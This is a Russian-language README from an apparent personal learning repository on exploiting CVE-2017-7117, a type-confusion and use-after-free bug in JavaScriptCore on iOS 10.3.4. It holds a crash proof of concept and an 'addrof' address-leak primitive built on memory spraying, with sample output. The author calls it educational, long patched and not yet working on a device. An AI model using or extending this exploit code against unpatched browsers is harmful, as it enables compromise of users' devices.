
Учебный эксплойт для CVE-2017-7117, уязвимости type-confusion и use-after-free в JavaScriptCore iOS 10.3.4, демонстрирующий техники memory spraying и address leak.
Типовая путаница и UAF, обнаруженные в iOS 10.3.4 и более ранних версиях, Safari до 11.0.
CVE-2017-7117: mitre.org
Обнаружено @lokihardt, источник: Google Project Zero
function f() {
let o = {};
for (let i in {xx: 0}) { // i is a String
for (i of [0]) { // i is now a number, but JIT treats as String
}
print(o[i]); // whoops
}
}
f();
Запуск приведённого выше кода вызовет сбой JSC.
Мы создаём большой массив arr, который JIT-компилятор по ошибке примет за строку.
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags
Когда ссылка на i теряется, мы сохраняем доступ к исходному массиву arr и можем читать базовую память.
Распыляя известное значение, мы можем найти это и пройтись вверх, чтобы найти указатель на любой объект.
function addrof(obj) {
// search the freed array for this number
var locator = 0x1337;
// spray the freed memory with the locator
var sprays = [];
for (var i = 0; i < 0x1000; ++i) {
sprays.push(i % 2 == 0 ? locator : obj);
}
// find the first instance of the locator
var found = null;
for(var i = 0; i < arr.length; i++) {
if(arr[i] == locator) {
found = i
break
}
}
// the pointer for the object is 3 and 2 indicies after the locator
return found && [arr[found + 3], arr[found + 2]]
}
Значения в памяти доступны через Uint32Array: сначала младшие биты, затем старшие.
let target = {
foo: "bar"
}
let address = addrof(target)
// address: 0x0000ffff8d178e60
Вы можете проверить, что адрес корректен, с помощью describe()
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244
Пока не работает на iPhone 5, iOS 10.3.4. Выясним, почему ...
Этот репозиторий предоставлен в качестве образовательного ресурса для отслеживания моего обучения разработке эксплойтов. Эта CVE была исправлена более 7 лет назад. Не используйте это в злонамеренных целях, очевидно.